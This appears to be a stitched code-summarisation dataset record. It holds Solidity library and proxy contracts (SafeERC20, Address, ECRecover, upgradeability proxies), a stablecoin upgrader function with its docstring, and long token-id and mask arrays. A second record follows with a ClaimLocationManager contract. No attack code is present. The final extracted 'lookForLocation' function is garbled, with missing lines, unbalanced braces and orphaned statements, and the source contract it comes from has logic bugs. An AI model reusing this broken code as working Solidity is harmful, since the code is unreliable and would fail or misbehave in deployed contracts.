issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2016-2019 zOS Global Limited * Copyright (c) 2018-2020 CENTRE SECZ * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; /** * @title ECRecover * @notice A library that provides a safe ECDSA recovery function */ library ECRecover { /** * @notice Recover signer's address from a signed message * @dev Adapted from: https://github.com/OpenZeppelin/openzeppelin-contracts/blob/65e4ffde586ec89af3b7e9140bdc9235d1254853/contracts/cryptography/ECDSA.sol * Modifications: Accept v, r, and s as separate arguments * @param digest Keccak-256 hash digest of the signed message * @param v v of the signature * @param r r of the signature * @param s s of the signature * @return Signer address */ function recover( bytes32 digest, uint8 v, bytes32 r, bytes32 s ) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. if ( uint256(s) > 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0 ) { revert("ECRecover: invalid signature 's' value"); } if (v != 27 && v != 28) { revert("ECRecover: invalid signature 'v' value"); } // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(digest, v, r, s); require(signer != address(0), "ECRecover: invalid signature"); return signer; } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018 zOS Global Limited. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { UpgradeabilityProxy } from "./UpgradeabilityProxy.sol"; /** * @notice This contract combines an upgradeability proxy with an authorization * mechanism for administrative tasks. * @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/AdminUpgradeabilityProxy.sol * Modifications: * 1. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20) * 2. Remove ifAdmin modifier from admin() and implementation() (5/13/20) */ contract AdminUpgradeabilityProxy is UpgradeabilityProxy { /** * @dev Emitted when the administration has been transferred. * @param previousAdmin Address of the previous admin. * @param newAdmin Address of the new admin. */ event AdminChanged(address previousAdmin, address newAdmin); /** * @dev Storage slot with the admin of the contract. * This is the keccak-256 hash of "org.zeppelinos.proxy.admin", and is * validated in the constructor. */ bytes32 private constant ADMIN_SLOT = 0x10d6a54a4754c8869d6886b5f5d7fbfa5b4522237ea5c60d11bc4e7a1ff9390b; /** * @dev Modifier to check whether the `msg.sender` is the admin. * If it is, it will run the function. Otherwise, it will delegate the call * to the implementation. */ modifier ifAdmin() { if (msg.sender == _admin()) { _; } else { _fallback(); } } /** * @dev Contract constructor. * It sets the `msg.sender` as the proxy administrator. * @param implementationContract address of the initial implementation. */ constructor(address implementationContract) public UpgradeabilityProxy(implementationContract) { assert(ADMIN_SLOT == keccak256("org.zeppelinos.proxy.admin")); _setAdmin(msg.sender); } /** * @return The address of the proxy admin. */ function admin() external view returns (address) { return _admin(); } /** * @return The address of the implementation. */ function implementation() external view returns (address) { return _implementation(); } /** * @dev Changes the admin of the proxy. * Only the current admin can call this function. * @param newAdmin Address to transfer proxy administration to. */ function changeAdmin(address newAdmin) external ifAdmin { require( newAdmin != address(0), "Cannot change the admin of a proxy to the zero address" ); emit AdminChanged(_admin(), newAdmin); _setAdmin(newAdmin); } /** * @dev Upgrade the backing implementation of the proxy. * Only the admin can call this function. * @param newImplementation Address of the new implementation. */ function upgradeTo(address newImplementation) external ifAdmin { _upgradeTo(newImplementation); } /** * @dev Upgrade the backing implementation of the proxy and call a function * on the new implementation. * This is useful to initialize the proxied contract. * @param newImplementation Address of the new implementation. * @param data Data to send as msg.data in the low level call. * It should include the signature and the parameters of the function to be * called, as described in * https://solidity.readthedocs.io/en/develop/abi-spec.html#function-selector-and-argument-encoding. */ function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin { _upgradeTo(newImplementation); // prettier-ignore // solhint-disable-next-line avoid-low-level-calls (bool success,) = address(this).call{value: msg.value}(data); // solhint-disable-next-line reason-string require(success); } /** * @return adm The admin slot. */ function _admin() internal view returns (address adm) { bytes32 slot = ADMIN_SLOT; assembly { adm := sload(slot) } } /** * @dev Sets the address of the proxy admin. * @param newAdmin Address of the new proxy admin. */ function _setAdmin(address newAdmin) internal { bytes32 slot = ADMIN_SLOT; assembly { sstore(slot, newAdmin) } } /** * @dev Only fall back when the sender is not the admin. */ function _willFallback() internal override { require( msg.sender != _admin(), "Cannot call fallback function from the proxy admin" ); super._willFallback(); } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018 zOS Global Limited. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; import { Proxy } from "./Proxy.sol"; import { Address } from "@openzeppelin/contracts/utils/Address.sol"; /** * @notice This contract implements a proxy that allows to change the * implementation address to which it will delegate. * Such a change is called an implementation upgrade. * @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/UpgradeabilityProxy.sol * Modifications: * 1. Reformat, conform to Solidity 0.6 syntax, and add error messages (5/13/20) * 2. Use Address utility library from the latest OpenZeppelin (5/13/20) */ contract UpgradeabilityProxy is Proxy { /** * @dev Emitted when the implementation is upgraded. * @param implementation Address of the new implementation. */ event Upgraded(address implementation); /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "org.zeppelinos.proxy.implementation", and is * validated in the constructor. */ bytes32 private constant IMPLEMENTATION_SLOT = 0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3; /** * @dev Contract constructor. * @param implementationContract Address of the initial implementation. */ constructor(address implementationContract) public { assert( IMPLEMENTATION_SLOT == keccak256("org.zeppelinos.proxy.implementation") ); _setImplementation(implementationContract); } /** * @dev Returns the current implementation. * @return impl Address of the current implementation */ function _implementation() internal override view returns (address impl) { bytes32 slot = IMPLEMENTATION_SLOT; assembly { impl := sload(slot) } } /** * @dev Upgrades the proxy to a new implementation. * @param newImplementation Address of the new implementation. */ function _upgradeTo(address newImplementation) internal { _setImplementation(newImplementation); emit Upgraded(newImplementation); } /** * @dev Sets the implementation address of the proxy. * @param newImplementation Address of the new implementation. */ function _setImplementation(address newImplementation) private { require( Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address" ); bytes32 slot = IMPLEMENTATION_SLOT; assembly { sstore(slot, newImplementation) } } } /** * SPDX-License-Identifier: MIT * * Copyright (c) 2018 zOS Global Limited. * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE * SOFTWARE. */ pragma solidity 0.6.12; /** * @notice Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. * @dev Forked from https://github.com/zeppelinos/zos-lib/blob/8a16ef3ad17ec7430e3a9d2b5e3f39b8204f8c8d/contracts/upgradeability/Proxy.sol * Modifications: * 1. Reformat and conform to Solidity 0.6 syntax (5/13/20) */ abstract contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ fallback() external payable { _fallback(); } /** * @return The Address of the implementation. */ function _implementation() internal virtual view returns (address); /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall( gas(), implementation, 0, calldatasize(), 0, 0 ) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev Function that is run as the first thing in the fallback function. * Can be redefined in derived contracts to add functionality. * Redefinitions must call super._willFallback(). */ function _willFallback() internal virtual {} /** * @dev fallback implementation. * Extracted to enable manual triggering. */ function _fallback() internal { _willFallback(); _delegate(_implementation()); } }
* @notice Upgrade, transfer proxy admin role to a given address, run a sanity test, and tear down the upgrader contract, in a single atomic transaction. It rolls back if there is an error./ The helper needs to be used to read contract state because AdminUpgradeabilityProxy does not allow the proxy admin to make proxy calls. Check that this contract sufficient funds to run the tests Keep original contract metadata Change implementation contract address Transfer proxy admin role Initialize V2 contract Sanity test Check metadata Test balanceOf Test transfer Test approve/transferFrom Transfer any remaining BRLC to the caller Tear down
function upgrade() external onlyOwner { uint256 contractBal = _helper.balanceOf(address(this)); require(contractBal >= 2e5, "V2_1Upgrader: 0.2 BRLC needed"); uint256 callerBal = _helper.balanceOf(msg.sender); string memory name = _helper.name(); string memory symbol = _helper.symbol(); uint8 decimals = _helper.decimals(); string memory currency = _helper.currency(); address masterMinter = _helper.masterMinter(); address owner = _helper.fiatTokenOwner(); address pauser = _helper.pauser(); address blacklister = _helper.blacklister(); _proxy.upgradeTo(address(_implementation)); _proxy.changeAdmin(_newProxyAdmin); FiatTokenV2_1 v2_1 = FiatTokenV2_1(address(_proxy)); v2_1.initializeV2_1(_lostAndFound); require( keccak256(bytes(name)) == keccak256(bytes(v2_1.name())) && keccak256(bytes(symbol)) == keccak256(bytes(v2_1.symbol())) && decimals == v2_1.decimals() && keccak256(bytes(currency)) == keccak256(bytes(v2_1.currency())) && masterMinter == v2_1.masterMinter() && owner == v2_1.owner() && pauser == v2_1.pauser() && blacklister == v2_1.blacklister(), "V2_1Upgrader: metadata test failed" ); require( v2_1.balanceOf(address(this)) == contractBal, "V2_1Upgrader: balanceOf test failed" ); require( v2_1.transfer(msg.sender, 1e5) && v2_1.balanceOf(msg.sender) == callerBal.add(1e5) && v2_1.balanceOf(address(this)) == contractBal.sub(1e5), "V2_1Upgrader: transfer test failed" ); require( v2_1.approve(address(_helper), 1e5) && v2_1.allowance(address(this), address(_helper)) == 1e5 && _helper.transferFrom(address(this), msg.sender, 1e5) && v2_1.allowance(address(this), msg.sender) == 0 && v2_1.balanceOf(msg.sender) == callerBal.add(2e5) && v2_1.balanceOf(address(this)) == contractBal.sub(2e5), "V2_1Upgrader: approve/transferFrom test failed" ); withdrawBRLC(); _helper.tearDown(); selfdestruct(msg.sender); }
1,098,308
[ 1, 10784, 16, 7412, 2889, 3981, 2478, 358, 279, 864, 1758, 16, 1086, 279, 16267, 1842, 16, 471, 268, 2091, 2588, 326, 731, 22486, 6835, 16, 316, 279, 2202, 7960, 2492, 18, 2597, 5824, 87, 1473, 309, 1915, 353, 392, 555, 18, 19, 1021, 4222, 4260, 358, 506, 1399, 358, 855, 6835, 919, 2724, 7807, 10784, 2967, 3886, 1552, 486, 1699, 326, 2889, 3981, 358, 1221, 2889, 4097, 18, 2073, 716, 333, 6835, 18662, 284, 19156, 358, 1086, 326, 7434, 10498, 2282, 6835, 1982, 7576, 4471, 6835, 1758, 12279, 2889, 3981, 2478, 9190, 776, 22, 6835, 23123, 1842, 2073, 1982, 7766, 11013, 951, 7766, 7412, 7766, 6617, 537, 19, 13866, 1265, 12279, 1281, 4463, 22427, 13394, 358, 326, 4894, 399, 2091, 2588, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 8400, 1435, 3903, 1338, 5541, 288, 203, 203, 3639, 2254, 5034, 6835, 38, 287, 273, 389, 4759, 18, 12296, 951, 12, 2867, 12, 2211, 10019, 203, 3639, 2583, 12, 16351, 38, 287, 1545, 576, 73, 25, 16, 315, 58, 22, 67, 21, 1211, 22486, 30, 374, 18, 22, 22427, 13394, 3577, 8863, 203, 203, 3639, 2254, 5034, 4894, 38, 287, 273, 389, 4759, 18, 12296, 951, 12, 3576, 18, 15330, 1769, 203, 203, 3639, 533, 3778, 508, 273, 389, 4759, 18, 529, 5621, 203, 3639, 533, 3778, 3273, 273, 389, 4759, 18, 7175, 5621, 203, 3639, 2254, 28, 15105, 273, 389, 4759, 18, 31734, 5621, 203, 3639, 533, 3778, 5462, 273, 389, 4759, 18, 7095, 5621, 203, 3639, 1758, 4171, 49, 2761, 273, 389, 4759, 18, 7525, 49, 2761, 5621, 203, 3639, 1758, 3410, 273, 389, 4759, 18, 22056, 270, 1345, 5541, 5621, 203, 3639, 1758, 6790, 1355, 273, 389, 4759, 18, 8774, 1355, 5621, 203, 3639, 1758, 11709, 264, 273, 389, 4759, 18, 22491, 264, 5621, 203, 203, 3639, 389, 5656, 18, 15097, 774, 12, 2867, 24899, 30810, 10019, 203, 203, 3639, 389, 5656, 18, 3427, 4446, 24899, 2704, 3886, 4446, 1769, 203, 203, 3639, 478, 77, 270, 1345, 58, 22, 67, 21, 331, 22, 67, 21, 273, 478, 77, 270, 1345, 58, 22, 67, 21, 12, 2867, 24899, 5656, 10019, 203, 3639, 331, 22, 67, 21, 18, 11160, 58, 22, 67, 21, 24899, 383, 334, 1876, 2043, 1769, 203, 203, 3639, 2583, 12, 203, 5411, 417, 24410, 581, 5034, 12, 2 ]
pragma solidity >0.4.24 <0.6.0; contract ClaimLocationManager { uint locationId; uint loops; address tempAddress; uint maxSearch; int biggestX; int biggestY; int smallestX; int smallestY; int prevX; int prevY; struct location { uint locationId; int x; int y; address claim; } constructor () public { biggestX = 1; biggestY = 1; smallestX =-1; smallestY =-1; prevX =1; prevY = 1; maxSearch = 10; } event LocationAdded (int x, int y); event startNewLoop(uint loops, int x, int y); mapping(int =>mapping(int => bool)) activeLocations; mapping(int =>mapping(int => location)) claimAtLocation; mapping(uint => location) idToLocationObject; mapping(address => location) claimAddressToLocationObject; mapping(address => bool) hasLocation; location[] locations; int[] allx; int[] ally; function startSearch() public { loops = 0; lookForLocation(prevX, prevY); } function lookForLocation (int x, int y) public returns (bool) { require(loops < maxSearch); int newX = x; int newY = y; //check if empty place bool empty = false; empty = checkIfNewEmptyFound(newX, newY); //returns true if found if(empty){ return true; } bool goRightFirst = checkGoright(newX, newY); while(!empty && (newX >= biggestX) && goRightFirst){ newX++; if (newX == 0){ newX = 1; } empty = checkIfNewEmptyFound(newX, newY); if(empty){ return empty; } } bool GoDown = checkgoDown(newX, newY); while (!empty && (newY >= smallestY) &&(GoDown)) { newY = newY-1; if(newY == 0) { //skip 0 because it has no locationId newY = -1; } empty = checkIfNewEmptyFound(newX, newY); if(empty){ return empty; } } bool goLeft = checkgoLeft(newX, newY); while(!empty && (newX >= smallestX) && (goLeft)){ //-1 -1 newX = newX-1; if(newX == 0) { //skip 0 because it has no locationId newX = -1; } empty = checkIfNewEmptyFound(newX, newY); } bool goUp = checkGoUp(newX, newY); while(!empty && (newY <= biggestY) && (goUp)){ //x is now negative, we need to scan the y axle again for free supports newY++; if(newY == 0){ newY = 1;} empty = checkIfNewEmptyFound(newX, newY); //-1 2 if(empty) { return empty; } } bool goRight = checkGoright(newX, newY); while (!empty && (newX <= biggestX) && (goRight)){ //1 2 newX = newX + 1; if(newX == 0){ newX = 1; } empty = checkIfNewEmptyFound(newX, newY); if (empty) { return empty; } } bool _goDown = checkgoDown(newX, newY); while(!empty && (newY >= smallestY) && _goDown){ y--; if(y == 0){ y = -1; } empty = checkIfNewEmptyFound(newX,newY); if(empty){ return empty; } } bool _goLeft = checkgoLeft(newX, newY); while(!empty && (newX >= smallestX)&&(_goLeft)){ x--; if(x == 0){ x = -1; } empty = checkIfNewEmptyFound(newX, newY); if(empty) { return empty; } } bool _GOUP = checkGoUp(newX, newY); while(!empty && (newX >= smallestX)&&(_GOUP)){ y++; if(y == 0){ y = 1; } empty = checkIfNewEmptyFound(newX, newY); if(empty) { return empty; } } if(!empty){ biggestX++; biggestY++; smallestY--; smallestX--; } loops++; emit startNewLoop(loops, newX, newY); if(loops > 75) { return false; } if (!empty) { lookForLocation(newX, newY); } return true; } function checkgoDown(int x, int y) public view returns (bool) { y--; if (y == 0) { y = -1; } if(y < smallestY) { return false; // too far too the left } bool filled = seeIfFilled(x, y); if(filled){ filled = seeIfFilled(x, smallestY); if(filled){ return false; // the next one is filled already } }else{ return true; // could be to the left } return true; } function checkgoLeft(int x, int y) public view returns (bool) { x--; if(x == 0) { x = -1; } if(x < smallestX) { return false; // too far too the left } bool filled = seeIfFilled(x, y); if(filled){ filled = seeIfFilled(smallestX, y); if(filled){ return false; // the next one is filled already } return true; }else{ return true; // could be to the left } } function checkGoUp(int x, int y) public view returns (bool) { y = y+1; if(y == 0) { //skip 0, no claim there y = 1; } //check if we are allowed to go checkGoUp if(y > biggestY) { return false; } bool filled = seeIfFilled(x, y); if(filled) { filled = seeIfFilled(x, biggestY); if (filled){ return false; // up is already filled; } return true; }else{ return true; } } function checkGoright(int x, int y) public view returns (bool) { x = x+1; if(x == 0) { x = 1; } if(x > biggestX) { return false; //out of range if we go to the right more } bool filled = seeIfFilled(x, y); if(filled){ filled = seeIfFilled(biggestX, y); if(filled){ return false; } }else{ return true; } } // round here, add one to largest x and call self to repeat function addLocation (int x, int y) public returns (bool) { locationId++; activeLocations[x][y] = true; //register location as taken location memory newLocation = claimAtLocation[x][y]; newLocation.x = x; newLocation.y = y; idToLocationObject[locationId] = newLocation; claimAtLocation[x][y] = newLocation; emit LocationAdded(x,y); prevX = x; prevY = y; allx.push(x); ally.push(y); locations.push(newLocation); setLocationObject(locationId, x, y); return !checkIfNewEmptyFound(x, y); // if false expect true // extra check if its added; } function checkIfNewEmptyFound(int x, int y) public returns (bool) { //first time finds an object, add the locations, and as answer it looks again if the location is empty, it should now be true in the look, resulting in answer false (its just added) and will inverse the answer to true, because it was empty if(!activeLocations[x][y]){ return addLocation(x,y); }else{ return false; } } function seeIfFilled (int x, int y) public view returns (bool) { return activeLocations[x][y]; } function haveFun (uint amount) public { for(uint i = 0;i <= amount; i++){ startSearch(); } } function getAllx () public view returns (int[] memory) { return allx; } function getAlly () public view returns (int[] memory) { return ally; } function bindClaimToLocation (address claim) public returns (uint) { require(!hasLocation[claim]); tempAddress = claim; startSearch(); return claimAddressToLocationObject[claim].locationId; } function setLocationObject(uint id, int x, int y) public { idToLocationObject[id].x = x; idToLocationObject[id].y = y; idToLocationObject[id].locationId = id; idToLocationObject[id].claim = tempAddress; claimAtLocation[x][y]=idToLocationObject[id]; locations.push(idToLocationObject[id]); claimAddressToLocationObject[tempAddress] =idToLocationObject[id]; hasLocation[tempAddress] = true; tempAddress = address(999); } function getX (uint id) public view returns (int) { return idToLocationObject[id].x; } function getY (uint id) public view returns (int) { return idToLocationObject[id].y; } }
check if empty place
function lookForLocation (int x, int y) public returns (bool) { require(loops < maxSearch); int newX = x; int newY = y; bool empty = false; if(empty){ return true; } bool goRightFirst = checkGoright(newX, newY); while(!empty && (newX >= biggestX) && goRightFirst){ newX++; if (newX == 0){ newX = 1; } empty = checkIfNewEmptyFound(newX, newY); if(empty){ return empty; } } bool GoDown = checkgoDown(newX, newY); while (!empty && (newY >= smallestY) &&(GoDown)) { newY = newY-1; newY = -1; } empty = checkIfNewEmptyFound(newX, newY); if(empty){ return empty; } } bool goLeft = checkgoLeft(newX, newY); newX = newX-1; newX = -1;
12,832,517
